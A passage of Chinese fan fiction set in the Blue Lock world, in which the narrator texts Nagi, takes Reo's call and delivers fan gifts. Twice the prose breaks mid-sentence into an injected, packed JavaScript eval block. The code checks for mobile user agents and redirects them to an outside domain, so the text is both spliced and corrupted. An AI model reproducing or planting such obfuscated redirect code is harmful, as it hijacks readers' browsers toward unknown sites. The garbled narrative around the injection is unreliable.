“嗯,挺开心的。”我点点头,看着窗外流光溢彩的夜景飞速倒退,手指无意识地划着车窗上模糊的水汽,“闪堂君……很认真,爱空君懂很多。” 我想了想,顺势提起了刚才的电话,“说起来,回来的路上,我接到内斯的电话了。” “哦?亚历克西斯?”父亲立刻来了兴趣,身体坐直了些,“那小子又有什么关于凯撒的‘技术难题’要探讨?” 他语气里带着点习惯性的调侃,显然对内斯这种“迂回”的求助方式已经习以为常。 “不是技术问题。”我摇摇头,侧过身看向父母,“他是来报喜的。他和凯撒,正式入选德国U20国家队的大名单了。很快有场测试赛,他……想问我们要不要去看。” 我省略了那略显心酸的“多余赠票”和关于他父母的细节。 “真的?!太好了!”父亲的反应比我想象的还要激动,他用力一拍大腿,蓝眼睛里迸发出巨大的喜悦,仿佛入选的是他自己,“我就知道!这两个小子!绝对没问题!亚历克西斯那脚传球!凯撒那射门!天生就是吃这碗饭的!U20!好!太好了!这可是迈向成年国家队的关键一步!” 他兴奋地搓着手,脸上是毫不掩饰的骄傲,仿佛自家孩子出息了。 “测试赛……什么时候?在哪个城市?”母亲也被这个消息吸引了注意力,温和地问道,语气里带着考量。 “具体时间和地点他没细说,只说很快。”我回忆着内斯那兴奋得有些语无伦次的德语,“但我说我可能要上学,恐怕去不了。” “你去不了没关系!”父亲大手一挥,语气斩钉截铁,带着一种“包在我身上”的豪气,“我去!这种时候怎么能少了家里人去加油助威?我必须去!正好最近也没太多事,就当再去欧洲度个短假,顺便考察一下德国青训的最新动向!” 他越说越兴奋,已经开始盘算起来,“对了!既然要去,总不能空着手。爱,内斯那孩子有没有什么特别喜欢的东西?德国的吃的?用的?或者……他提过想要什么没有?我给他带过去!就当是庆祝他入选的礼物!” 特别喜欢的东西?我努力在记忆里搜索和内斯算不上太多的交流。除了足球,还是足球……啊,好像有一次,在他絮絮叨叨说起德国青训基地食堂的甜点多么匮乏、多么想念某种味道时,偶然提到过…… “他好像……挺喜欢蛋糕。”我不太确定地说,“尤其是咖啡味的。有一次视频,他抱怨训练基地附近买不到合口味的赫萨蛋糕,好像……提过一个叫‘○○’的牌子?” 印象里,他当时对着屏幕唉声叹气,梅色的下垂眼耷拉着,对一块蛋糕的渴望之情几乎要溢出屏幕。 “赫萨蛋糕?咖啡味?”父亲愣了一下,随即用力一拍额头,露出一个恍然大悟的表情,“啊!我想起来了!是黑森林地区那边一家很有名的老牌糕点店!他们家咖啡奶油蛋糕确实是一绝!亚历克西斯这小子,还挺会吃!行!没问题!包在我身上!保证让他吃到最新鲜最地道的赫萨蛋糕!” 他像个接到重要任务的特工,眼神炯炯,仿佛已经看到了内斯捧着蛋糕感动不已的样子。 “还有别的吗?”父亲意犹未尽地追问,显然觉得一份蛋糕还不够表达他的支持和喜悦,“凯撒那小子呢?虽然他整天一副冷冰冰的臭屁样子,但毕竟也是亚历克西斯的搭档,而且天赋确实没得说……要不要也给他带点什么?那小子有什么喜欢的吗?除了进球。” 他摸着下巴,开始思考给“薄荷硬糖”带什么礼物这个世纪难题。 凯撒喜欢什么?这个问题比内斯的难回答多了。那家伙脑子里除了足球和如何更高效地进球,还能装下什么?我下意识地摸了摸外套口袋,指尖触碰到一个坚硬的小方盒。是了,前几天顺手在便利店买的薄荷硬糖,提神用的。 “他……”我迟疑了一下,从口袋里掏出那盒还没开封的薄荷糖,银蓝色的包装在车内昏暗的光线下泛着冷调的光泽,“我也不知道他喜欢什么。不过……或许可以带点这个?” 我把糖递过去,“薄荷糖。感觉……和他的发色挺配的。” 这个理由听起来有点傻,但一时半会儿我也想不到更好的说辞。总不能说觉得他这个人就像薄荷一样冰冷又呛人吧? 父亲接过那盒糖,翻来覆去看了两眼,眉头几不可察地蹙了一下,脸上露出一种混合着嫌弃和难以置信的表情:“薄荷糖?凯撒?那小子喜欢吃这玩意儿?” 他捏着糖盒,像是捏着什么可疑物品,“不会吧?这味道……又冲又凉,吃完感觉像给喉咙做了个大扫除,还一股子牙膏味!怎么会有人喜欢天天吃这个?” 他越说越嫌弃,甚至夸张地打了个冷颤,仿佛只是想象一下薄荷的味道就让他受不了,“要我说,还是巧克力好,或者水果糖,甜滋滋的多舒服!这薄荷糖……啧,真不知道有什么好吃的!” 母亲在一旁看着父亲这副孩子气的样子,忍不住偏过头,用手掩着嘴,无声地笑了起来。她微微侧身,用只有我能看到的口型,悄无声息地说了一句:“他以前……被人用超强薄荷糖……捉弄过。” 说完,她眼中闪过一丝狡黠的光芒,仿佛想起了什么有趣的陈年往事。 原来如此。我恍然大悟,看着父亲那副对薄荷糖深恶痛绝的样子,差点没忍住笑出声。真是不出意外,这种幼稚又带着点报复性的“童年阴影”,确实很符合父亲这种长不大的性格。 “反正……就是个心意嘛。”我努力憋着笑,把糖盒从父亲手里拿回来,“您要是实在不喜欢,就随便买点别的象征性地送一下好了,比如……印拜塔队徽的钥匙扣?” 我提供了一个安全选项。 “算了算了,就薄荷糖吧。”父亲摆摆手,一副“我大人有大量不跟小辈口味计较”的样子,但眼神里的嫌弃还没完全褪去,“既然你觉得配他头发……那就这个吧。我到时候再多买几盒不同牌子的,让他自己挑着吃。” 他顿了顿,又小声嘀咕了一句,“最好能买到那种辣味的,呛死他……” 母亲终于忍不住轻笑出声,摇了摇头。车内充满了轻松愉快的气氛。 *** 车子平稳地驶入家门前的车道。告别了司机,推开家门,熟悉的温暖气息和宁静包裹上来。踢掉鞋子,踩在柔软的地毯上,一天的疲惫似乎才真正涌了上来。和父母互道了晚安,我拖着步子回到自己房间,把自己摔进柔软的床铺里,只想放空大脑,享受这片刻的安宁。 然而,这份安宁并没持续多久。 刚闭上眼没多久,放在床头柜上的手机就屏幕一亮,发出了一声短促而独特的信息提示音——不是我常用的那几个联系人设定的音效。 我挣扎着伸出手摸过手机。屏幕亮起,锁屏界面上清晰地显示着发信人的名字。 凪诚士郎。 这家伙……这个时间点?用积分兑换了手机?动作还挺快。 我解锁屏幕,点开信息。 「手机。积分换的。」 言简意赅,符合他一贯的节能风格。下面紧跟着一条。 「第一次比赛,赢了。大获全胜哦。」 平淡的语气里,硬是能读出一丝极其微弱的、需要仔细分辨才能察觉的……汇报成绩般的意味?像是完成了某项任务后,懒洋洋地提交报告。 还没等我回复,下一条信息又跳了出来。 「洁那边输了。挺惨。」 依旧是平铺直叙,听不出什么情绪,只是在陈述一个事实。但特意提这么一句,似乎又不仅仅是陈述。 「这次没碰上。一栋楼五个队,早晚碰上我们。」 他像是在解释为什么洁输了而他们赢了,又像是在说明这个“蓝色监狱”残酷的赛制。分散在不同队伍,曾经的同伴早晚会成为必须击败的对手。 我看着这几条信息,几乎能想象出他窝在“蓝色监狱”某个角落,顶着那张没什么表情的帅脸,慢吞吞戳着手机屏幕的样子。赢了比赛,第一时间想到的是发信息告诉我?这可不像是极度怕麻烦的凪诚士郎会主动做的事。 手指在屏幕上敲击。 「恭喜获胜。看来你和玲王配合得不错。」 我先是肯定了他们的胜利,然后顺势问道。 「洁还好吗?」 信息刚发出去没多久,几乎是秒回。 「嗯。」 一个简单的音节,算是回答了我的第一个问题。然后。 「洁?不知道。应该死不了。」 真是充满凪式风格的、冷漠又现实的关心。 话题似乎到此为止了。但我看着屏幕,总觉得他好像还有什么没说完。果然,几秒钟的沉默后,又一条信息姗姗来迟。 「小剪。怎么样了。」 这次连句号都懒得打了吗。果然,这才是他真正想关心的重点吧?绕了一大圈,最后还是落到了他的仙人掌宠物上。 我忍不住笑了笑,起身走到窗台边。月光下,那株名为“小剪”的仙人掌依旧精神抖擞地比着它的“耶”,绿油油的身板在月光下显得格外憨态可掬。我拿起手机,找好角度,“咔嚓”给它拍了张照片,发了过去。 「图片」 「活得很好,按时浇水,没死。」 「嗯。」 那边回了一个字,似乎放心了。 我看着那盆小小的绿色生命,忽然有点好奇。 「你怎么对它这么上心?养出感情了?」我打趣道。很难想象凪诚士郎这种对大多数事情都提不起劲的家伙,会对一盆植物产生多大的牵挂。 这次回复得稍微慢了一点。 「玲王和爱。也没少对我操心。」 他避开了直接回答,反而把话题抛了回来。这话听起来有点别扭,像是在抱怨,又像是在陈述一个他刚刚意识到的事实。玲王对他的“操心”是显而易见的,各种利诱围堵“饲养”……那我呢?我对他……也算“操心”吗?或许吧,毕竟柠檬茶和“车费”都没少给。 我忍不住笑了,继续逗他。 「那你把它当男孩还是女孩养?」 问完我就后悔了,这问题听起来真傻,尤其是对着一盆仙人掌。 果然,凪的回击迅速而精准。 「小剪是无性别者。」 语气平板,却带着一种诡异的认真。 无性别者?我愣了下,下意识地想反驳,却发现……好像没什么不对?仙人掌确实没有性别之分。一种荒谬的认同感油然而生。 「如果有性别的话呢?」我问他。 「……无性别也是性别。」他强词夺理地来了一句。 我感觉自己快要被他的逻辑带偏了。 「零也是数字。无名指也有名字。」他立刻补充,依旧是那副理所当然的调调。 彻底败给他了。我笑着摇了摇头,决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251831|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束这个无厘头的话题。手指在屏幕上敲打,自然而然地问起了另一个人。 「玲王现在在干嘛?你们赢了比赛,他没兴奋得睡不着觉吗?」以玲王的性格,首战告捷,应该正热血沸腾地计划着下一步吧。 信息发出去后,那头陷入了短暂的沉默。比之前的间隔都要长一些。 就在我以为他是不是又睡着了的时侯,回复才慢悠悠地跳出来。 「就这么舍不得你的玲王大人吗。」 语气依旧是平板的,听不出情绪,但措辞……怎么品出了一丝极其细微的、被刻意压淡了的……酸味?是我的错觉吗?还是他单纯觉得我问玲王打扰了他节能? 「不是啦。」我下意识地否认,然后又试探地问了一句,「你生气了吗?」 「没有。」回复得飞快,几乎像是条件反射。紧接着又补了一句,像是在强调,「我是和平主义者。」 和平主义者?这跟他生不生气有什么关系?此地无银三百两。 「但你语气不太好。」我指出这一点。 「你听错了。」他矢口否认,干脆利落。 好吧。我换了个方向。 「那是因为我没带柠檬茶给你?所以心情不好?」我半开玩笑地问。毕竟这是他最执着的“补给品”。「还是因为……其他人?」后面那句我没明说,但他应该能懂。 「柠檬茶那种小事……和平主义者不会在意。」他回避了后半句,再次强调了他的“和平”属性,但听起来更像是在嘴硬。 我几乎能想象出他此刻抿着嘴、半睁着眼睛、一脸“我不高兴但我就是不承认”的表情。实在太孩子气了,让人忍不住想笑,又想继续逗他。 「真的不是在闹脾气?像打游戏输了一样?」我故意用哄小孩的语气问道。 「别猜了。都是鸡毛蒜皮的小事。」他似乎有点不耐烦了,想要结束这个话题。 但我偏偏不想如他的意。一个念头闪过脑海,带着点恶作剧般的了然。我慢慢地敲下一行字,发送。 「难不成是因为……你主动和我分享了你的日常(虽然只有几句),结果我却说起了另外一个人?」 这一次,沉默的时间格外漫长。手机屏幕暗了下去,又被我按亮,对面依旧没有回复。窗外的月光安静地流淌,房间里只能听到自己的呼吸声。他是在思考怎么反驳,还是被说中了心思在生闷气? 就在我几乎要以为他不会再回复的时候,屏幕终于再次亮起。只有一个字。 「哦。」 这算什么反应?默认?还是不屑辩解? 我看着那个简单的“哦”字,心底那点恶作剧的心思忽然淡了下去,取而代之的是一种微妙的、连自己都说不清的情绪。我叹了口气,手指在屏幕上缓慢地移动。 「凪,」我打下他的名字,顿了顿,又加上,「或者说,诚士郎。」 平时很少连名带姓地叫他,似乎让屏幕那头的人也察觉到了什么,没有立刻回复。 我继续输入。 「不是你说的吗?‘想为了白宝三人组当一会儿的完美主义者’?」我把他说过的话抛了回去。那个在夕阳下的训练场边,他用平板无波的语气说出的、近乎告白般的话语。 这一次,回复来得很快,带着一种近乎赌气的意味。 「那种话。已经过期了。」 过期了?我微微一怔。 没等我追问,下一条信息紧跟着跳了出来,像是在解释,又像是在宣告什么。 「好歹。我也算一个完整的人。」 完整的人……所以,也会有完整的、复杂的、甚至可能自己都理不清的情绪吗?不仅仅是需要投喂柠檬茶和解决麻烦的“宝物”或“队友”,也会因为被忽视、或者感知到可能的“威胁”而产生独占欲和……不开心? 一种奇异的柔软情绪在心口弥漫开来。我看着屏幕上那行字,仿佛看到了那个高大的白发少年别别扭扭地表达着他那“节能”模式无法处理的、属于“完整的人”的情感。 知道了。我在心里默默地说。 手指在屏幕上敲打,语气不自觉地放软,带上了一点连自己都未曾察觉的哄慰和试探。 「知道啦,凪诚士郎小朋友。」 我故意用了那个他肯定不喜欢的称呼。 「那么,小朋友今天晚上有没有好好吃饭呀?蓝色监狱的食堂营养跟得上吗?」我学着长辈关心小孩的语气问道。 果然,他立刻表达了抗议。 「……不要用这种哄小孩的语气说话。」 我能想象出他皱着眉头的模样,忍不住笑了起来。从善如流地换了个方式,但语气里的笑意恐怕藏不住。 「那……商量一下?」我斟酌着用词,「如果我下次有机会去看你们……嗯,给你带几箱柠檬茶?冰的。能不能稍微原谅我一点点?」我发出了“补给”诱惑。 这一次,回复快得惊人,仿佛早就等着这句话。 「几箱?」 他甚至学会了讨价还价。 「三箱?五箱?」我往上加码。 「说话算话。」他立刻确认,像是怕我反悔,甚至还追加了一句,「骗人是不对的。」 这副认真的样子彻底逗乐了我。看来柠檬茶果然是□□。 「知道啦~」我拖着长音回复,最后又忍不住加上了那个称呼,「小朋友。」 在他可能发出的任何反驳之前,我飞快地退出了聊天界面,按熄了屏幕。手机安静地躺在掌心,屏幕倒映着窗外疏朗的月光和我自己带着未褪笑意的眼睛。 空气里安静得只剩下尘埃落定的细微声响。心底那片因为离别而空出的角落,似乎又被某种温暖而轻盈的东西悄悄填满了一小块。 凪诚士郎…… 我无声地念着这个名字,嘴角忍不住又向上弯了弯。 真是个……麻烦又可爱的节能主义者。 32. 玲王 我是在第二天早上接到玲王的电话的。 清脆的铃声划破了清晨的宁静,屏幕上跳动着“御影玲王”的名字。我揉了揉眼睛,接通电话,还没来得及开口,他那边元气十足、带着点急切的声音就传了过来。 “爱!早上好!抱歉现在才打给你!”玲王的语速比平时快,紫罗兰色的眼眸里盛着的喜悦几乎要透过电波溢出来,“昨天比赛一结束就想联系你的!但是……积分不太够用。”他顿了顿,声音里带上了一丝无奈的讪笑,“我先把积分兑了张高级床垫……你知道的,这里的硬板床简直反人类,不睡好根本没体力应对那种强度的训练。所以就没多余积分换手机了……不过凪那家伙应该已经跟你说了吧?我们赢了!第一场!大获全胜!” 我的脑海里瞬间浮现出画面——玲王兴冲冲地跑去找凪借手机,想要第一时间分享胜利的喜悦,却对上那只大型白色“节能生物”闹别扭的后脑勺和一句闷闷的“不借,好麻烦”。被拒绝的紫色幼狮大概会在那只跺着脚生闷气的大白兔周围着急地转来转去吧?豆豆眉说不定都皱成了八字。这画面太过生动,我没忍住,“噗嗤”一声笑了出来。 “……爱?”电话那头的玲王显然被我这突如其来的笑声搞懵了,疑惑地追问,“你笑什么?” “没什么,”我努力收敛笑意,但嘴角还是忍不住上扬,“只是突然觉得,你和凪……好可爱哦。” “可、可爱?!”玲王的声音瞬间拔高,像是被这个词烫到了一样,带着明显的慌乱和难以置信,音调都变了,“你、你突然说什么呢!哪里可爱了!” “就是觉得很可爱啊,”我实话实说,脑海里还是那幅幼狮绕兔图,“特别是你拿凪没办法的时候。” “……不准说这种奇怪的话!”玲王的声音里带着一丝羞恼,强行转移了话题,语气故作镇定,“咳,那……凪昨天晚上,除了报喜,还跟你说什么了?”他问得有点小心翼翼,像是在试探什么。 “有啊,”我靠在床头,看着窗外逐渐亮起的天空,“关心了他的宝贝仙人掌‘小剪’,还有……惦记着我下次去探监……哦不,探访时,要带够他的柠檬茶赎金。”想到凪那副认真讨价还价的样子,我又忍不住想笑。 电话那头传来玲王轻松了些的笑声,带着点了然和纵容:“呵……这家伙,还是这样啊。”但紧接着,我仿佛能透过电话看到他微微摇头的样子。 我顺势用开玩笑的语气说道:“所以啊,玲王大人,要和我们孩子气的诚士郎小朋友好好相处哦?” 话音落下,电话那头突然陷入了一秒短暂的沉默。异常的安静让我心里咯噔一下,难道我说错话了?玲王不喜欢这种玩笑? 然而,下一秒,玲王的声音重新响起,带着笑声:“……呵呵,会的。”只是那笑声听起来似乎没有刚才那么自然,稍微有点干,“只是……诚士郎?”他捕捉到了这个陌生的称呼,语气里带着明显的困惑和探究,“爱,你……为什么突然这么叫他?之前不都是叫‘凪’的吗?” “诶?这个啊,”我没想到他会注意到这个细节,随口解释,“觉得这样叫更亲近一点嘛。你看,凪诚士郎叫我们两个,不也都是直接叫‘玲王’和‘爱’吗?连名带姓的,多生分。” “……啊。这样啊。”玲王的声音顿了顿,再响起时,似乎比刚才低沉了一点,也干涩了不少,“好、好吧。不过……我可能做不到突然叫他‘诚士郎’……感觉太奇怪了。”他语气里的不自在几乎能摸得到。 “没关系啦,随便叫什么都行。”我赶紧把话题拉回来,叮嘱道,“你们在那边要好好训练,也要好好吃饭。我下次还会找机会过去看你们的。” “嗯,知道了。”玲王应着,但声音听起来有些心不在焉,刚才那股兴奋劲似乎消退了不少。我们又客套地聊了几句无关紧要的话,气氛总感觉隔着一层什么,不如刚开始时那么热烈。最终,通话在一种微妙的、略显仓促的氛围中结束了。 握着发烫的手机,我轻轻叹了口气。我明白的。玲王那细微的情绪变化,大概率是因为我对凪称呼的改变。那种不易察觉的停顿和干涩,像一根小小的刺。他或许觉得自己和凪在我这里的“特殊地位”被某种无形的东西微妙地平衡了,甚至被分走了一部分? 但是,只因为玲王可能感到一点点不自在,就立刻改变对凪的态度,对凪来说也不公平。毕竟,昨晚那个别别扭扭的家伙,还特意强调了自己是“一个完整的人”,会有着完整的、或许连他自己都未必能清晰表达的情绪。他们都是我重要的朋友,我不想厚此薄彼。 可是……“端水”真的好难。尤其是当水杯们都有自己的想法和脾气的时候。 算了。我甩甩头,决定不再纠结。反正也没有正式把称呼改掉,下次见面,还是继续叫“凪”吧。这样大概能让玲王心里舒服点?虽然感觉有点对不起凪那难得的“完整的人”的宣言。 *** 起身,换好白宝高中的校服,对着镜子整理好衣领。镜中的少女眼神已经恢复了平日的清澈,只是眼底还残留着一丝昨夜与今晨电话带来的、微妙的情绪波澜。下楼,餐厅里飘着烤吐司和煎蛋的香气。安静地吃完早餐,对着空荡荡的大房子说了声“我出门了”,便拎起书包走向门口。 黑色的私家车早已等候在门外。拉开车门坐进去,引擎发出低沉的嗡鸣,平稳地驶出庭院,汇入清晨东京繁忙的车流。窗外是飞速倒退的熟悉街景,行色匆匆的路人,闪烁着信号灯的路口。一切都和往常无数个上学的早晨一样。 这好像又是平常的一天。 车子在学校附近的拐角处停下,我习惯性地在这里下车,喜欢这段短暂步行穿过林荫道的放松。推开车门,清新的空气夹杂着淡淡的花香和泥土气息扑面而来。然而,就在我一只脚刚踏上人行道,准备关上车门时—— “清田桑!请等一下!” 一个略显急促、带着紧张和决绝的男声突然从侧后方响起,硬生生钉住了我的动作。 我诧异地回头。只见一个穿着白宝高中男生校服、身材高瘦、戴着黑框眼镜的男生,正站在几步开外的地方。他双手紧紧抓着一个看起来沉甸甸的、用牛皮纸精心包裹好的方形包裹,指节因为用力而微微发白。他的脸颊泛着不自然的红晕,眼神躲闪,不敢直视我的眼睛,呼吸也有些急促,像是刚刚经历过一场激烈的心理斗争或是短跑冲刺。 我认得他,是隔壁班的学委,好像姓佐藤?一个平时在走廊遇见都会下意识低头、声音细若蚊蚋的男生。他此刻这副鼓足勇气、仿佛要递交什么重要国书的样子,实在有些反常。 “呃……佐藤君?”我迟疑地叫出他的名字,目光落在他双手奉上的那个包裹上,“这是……?” “这、这个!请、请你收下!”佐藤像是被按了播放键,猛地将包裹往我怀里一塞,动作快得几乎像是抢劫。我的手臂下意识地承受住那份重量——确实不轻。 “这是……”我低头看着这个被包装得一丝不苟、甚至还在接口处贴了一张小巧爱心贴纸的包裹,心里隐隐升起一个荒谬的猜测。 “是、是御影君后援团的大家……一点点心意!”佐藤的声音像是从喉咙里挤出来的一样,音调因为紧张而飘忽不定,他飞快地瞟了我一眼,又立刻低下头,语速极快地解释道,“大、大家知道你和御影君关系很好……他、他去了那个很厉害的足球基地集训……肯定很辛苦!所、所以……集资买了些营养品和……和他可能会喜欢的东西……拜、拜托清田桑如果有机会的话……帮、帮我们转交给他!” 他说完这长长的一段话,仿佛用尽了全身力气,脸颊红得像要滴出血来,甚至能看到额角渗出的细密汗珠。不等我做出任何反应,他猛地来了一个九十度的深鞠躬,大声喊道:“非、非常感谢!拜托了!” 然后,在我目瞪口呆的注视下,他像是怕我拒绝或者追问什么,猛地转身,同手同脚、几乎是以逃跑的速度,飞快地消失在了清晨上学的人流中,留下我一个人抱着那个沉甸甸的、充满了少女(或许还有个别少男?)心意的包裹,站在原地,风中凌乱。 后援团……给玲王的慰问品?还集资?让我转交? 我看着怀里这个包裹,牛皮纸的质感粗糙而结实,那个小小的爱心贴纸格外醒目。这……也太夸张了吧?玲王那家伙,人都不在学校了,居然还能以这种方式刷足存在感? 无奈地叹了口气,我认命地抱着这个意外的“负担”,转身继续往学校走去。刚走了没两步—— “清田同学!早上好呀!” 又一个清脆活泼的女声响起,这次来自正前方。 我抬头,是同班的几个女生,平时关系还算不错。她们笑嘻嘻地围了上来,目光立刻就被我怀里那个显眼的包裹吸引了。 “哇!这是什么呀?看起来好隆重!”一个短发女生好奇地凑近。 “该不会是……情书或者礼物吧?”另一个扎着马尾的女生眨着眼睛,语气里带着调侃。 “是谁送的呀?快从实招来!”第三个女生也跟着起哄。 我被她们围在中间,看着她们八卦兮兮的眼神,只觉得一个头两个大。“不是你们想的那样,”我无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我的脚步顿住了。期中考试……好像也没多久了。最近又是足球部的事,又是蓝色监狱,还有家里那些“足球认亲”的闹剧……功课似乎……落下不少? 一股淡淡的焦虑感悄然浮上心头。我叹了口气,感觉肩上的重量又增加了几分,不止是手里这个物理上的包裹。 终于走到教室门口,拉开门。原本有些喧闹的教室,在我抱着这么一个显眼的包裹走进来的瞬间,安静了几秒。无数道目光——好奇的、探究的、带着笑意的——齐刷刷地聚焦在我身上,以及我怀里的东西上。 “哟!清田!这么早就收到大礼了?”一个大大咧咧的男生吹了声口哨。 “是给御影的吧?我猜对了没?”另一个女生笑着问道。 “快打开看看嘛!让我们也见识一下后援团的实力!” 起哄声和笑声在教室里蔓延开来。我面不改色地走向自己的座位,尽量无视那些目光和议论,心里却忍不住再次哀叹。 玲王啊玲王,你最好在蓝色监狱里真的练出点惊天动地的本事来……不然都对不起我今天早上替你承受的这些“万众瞩目”! 小心翼翼地将那个包裹塞进已经有些拥挤的课桌抽屉里,刚松了口气,准备拿出第一节课的课本。前排一个平时很文静的女生忽然转过身来,脸上带着羞涩的红晕,小声问我:“那个……清田同学……如果……如果下次还有机会给御影君送东西的话……可不可以……也帮我带一张加油的纸条……?” 我:“……” 这一刻,我无比清晰地意识到——御影玲王虽然人暂时离开了白宝高中,但他带来的麻烦……不,是他的影响力,简直如同空气一样无处不在!而我这“御影玲王指定唯一联系人”的日常,恐怕在很长一段时间里,都无法真正恢复“平常”了。 上课铃声适时地响起,暂时解救了我。老师拿着教案走进教室,议论声渐渐平息。我翻开课本,试图将注意力集中在即将开始的课程上,但抽屉里那个沉甸甸的包裹,以及刚刚接二连三的“玲王周边事件”,却像背景音一样,持续不断地提醒着我那个远在“蓝色监狱”的、光芒万丈又麻烦不断的挚友。 好吧。我深吸一口气,拿起笔。 至少,今天早上接到他电话时,他那份纯粹的、分享胜利的喜悦,是真实而温暖的。 至于这些甜蜜的负担……就当是享受他那份耀眼光芒所必须支付的一点小小代价吧。 我低头,在笔记本上写下今天的日期。 这注定是,无法真正平常的一天。 33. 拔牙刷 我就这么一直孤独地上学,直到周末。又有空去探监了,这次不再是两手空空。 车后座上,塞满了同学们——主要是玲王那庞大后援团——集资购买的慰问品,用牛皮纸包得严严实实,沉甸甸地透着少年们炽热的心意。旁边还摞着三箱冰镇柠檬茶,瓶身在晨光下凝着诱人的水珠,这是给某个节能怪物的“赎金”兼“补给”。 东西多得超乎想象。我尝试着自己搬,刚抱起那摞慰问品就一个趔趄,牛皮纸包裹棱角分明,硌得手臂生疼。三箱柠檬茶更是纹丝不动,像三块冰凉的巨石。 “还是我们来吧。”母亲带着笑意的声音自身后响起。她今天穿着简约的休闲装,气质依旧优雅,伸手轻松地提起了两箱柠檬茶,仿佛那不是重量,而是两盒点心。父亲更是夸张,他金发耀眼,嘴里哼着不成调的歌,一只手就将剩下那箱柠檬茶和那摞巨大的慰问品包裹同时扛上了肩,动作轻松得像是在表演杂技,还朝我眨眨眼:“小意思!让你看看老爸宝刀未老!” 有他们搭把手,负担瞬间消失。我看着父母默契地将东西搬进后备箱,心里那点因为连日来“玲王周边事件”带来的微妙烦躁,也被这温暖的支援冲淡了些。 车子再次驶向那片被高墙电网环绕的森严建筑。晨光熹微,给冰冷的金属大门镀上了一层柔和的浅金。时间还早,按照“蓝色监狱”那非人的作息,那群足球少年大概刚被刺耳的起床铃摧残过,正处于洗漱或前往训练场的混沌状态。 我想给他们一个惊喜,尤其是玲王和凪。顺便……也稍微发发牢骚,说说这一周我是怎么沦为“御影玲王指定快递员”兼“后援团传声筒”的。 在帝襟安里的接待下,我们顺利进入了基地内部。她褐红色的短发一如既往地利落,看到我们带来的“物资”时,眼睛惊讶地睁大了一瞬,随即露出职业化的、略带歉意的微笑:“啊啦……这么多心意呀。不过按照规定,集训期间,这些外来的食物和物品……需要统一保管,等集训结束后才能发放给个人哦。”她指了指旁边一个贴着封条的储物间,“这是绘心先生定的规矩,是为了保证绝对公平和不受干扰的训练环境,请理解。” 我能理解,但想象了一下玲王后援团成员们知道她们的心意要被“扣押”直到不知何时的结营日,可能会露出的失望表情,还是有点无奈。“好吧,那就麻烦您了,帝襟小姐。” 父母还有事要和基地负责人洽谈,先行离开了。我则拜托帝襟安里带我去V队的区域,想直接去看看玲王和凪。 穿过安静得有些过分的走廊,来到V队的休息室门口。门虚掩着,里面静悄悄的。帝襟安里轻轻推开门。 只见空旷的房间内,一个高大的白色身影正背对着门口,盘腿坐在光洁的地板上。他穿着蓝色的训练服,背影透着一股浓浓的“刚开机”或“即将待机”的慵懒感。是凪诚士郎。他低着头,白色的发丝软软地垂着,盯着自己面前的地板,像是在思考宇宙的奥秘,又像是单纯在发呆,节能模式全开。 “凪君?”帝襟安里出声。 凪慢吞吞地回过头。那双没什么焦点的黑色眼睛在看到我时,极其轻微地眨动了一下,像是平静湖面投入了一颗小石子,漾开一丝几乎难以察觉的亮光。他看着我,又慢悠悠地瞥向我空荡荡的身后,眼神里带着一点询问。 “早上好,凪。”我对他笑了笑,“给你带了柠檬茶,冰的。三箱。”我强调了一下数量,履行诺言。 凪的嘴角似乎微微动了一下,那副“电量不足”的表情像是被注入了微弱的能量。但他还没开口,帝襟安里就带着她那残忍的、公事公办的微笑,温和却坚定地开口:“诚士郎君,清田小姐带来的慰问品和饮料,暂时由我代为保管,放在那边的储物间。等集训结束后,你就可以拿到了。” 话音落下,我清晰地看到,凪眼中那刚刚亮起的一丝微光,如同被风吹熄的蜡烛,“噗”地一下,瞬间暗淡了下去。他整个人像是被抽走了一根重要的支撑杆,连那点微弱的精气神都消失了,重新变回那株了无生趣的、巨大的白色蘑菇,慢吞吞地“哦”了一声,连语调都失去了起伏。 看着他这副样子,我有点想笑,又有点于心不忍。想问他玲王去哪了,但看他这副“世界与我无关”的节能模样,估计也问不出什么,反而可能让他更“麻烦”。 我只好走过去,在他面前蹲下,尽量用安抚的语气说:“没办法,规定就是这样。再忍忍?等你们集训结束,那些柠檬茶说不定还是冰的。”我自己都觉得这安慰很苍白。 凪没什么反应,只是又慢吞吞地“嗯”了一声,视线重新落回地板上,仿佛那里有比柠檬茶和我更有趣的东西。 无奈,我站起身,对帝襟安里示意了一下,自己出去找找玲王。帝襟安里点点头,低声说:“队员们应该都去洗漱准备去训练场了,你去看看吧,别走太远。” 我沿着安静的走廊,凭着模糊的记忆走向洗漱间的方向。越靠近,越能听到隐约的水声和零星的话语声。快到门口时,我却猛地停住了脚步。 洗漱间门口的气氛……有点不对劲。 几个V队的队员正站在门口,探头探脑地往里看,脸上带着一种混合着好奇、犹豫和“不敢惹”的表情。他们互相使着眼色,低声交谈着,却没一个人进去。 “……还在拔呢?” “嗯……感觉那怨气都快实体化了……” “谁敢去触霉头啊……” 我心中疑惑,悄悄凑近一些,透过门缝向里看去。 只见洗漱台前,一个熟悉的紫色背影正站在那里。是玲王。他低着头,穿着训练服,但外套随意地搭在旁边的架子上。他并不是在洗漱,而是……正跟自己的牙刷较劲? 更准确地说,他一只手撑在洗漱台上,另一只手……正非常非常缓慢地、一根一根地、从牙刷上往下拔着刷毛?! 他周身笼罩着一层肉眼可见的、极其浓重的低气压,那怨念几乎要化作黑色的实质弥漫开来,难怪门口那群人不敢进去。他嘴里还在不停地碎碎念,声音很低,但我离得近,隐约能捕捉到断断续续的词语: “……爱更喜欢我……” “……爱更喜欢凪……” “……爱更喜欢我……” “……绝对是更喜欢我……” “……但万一……” 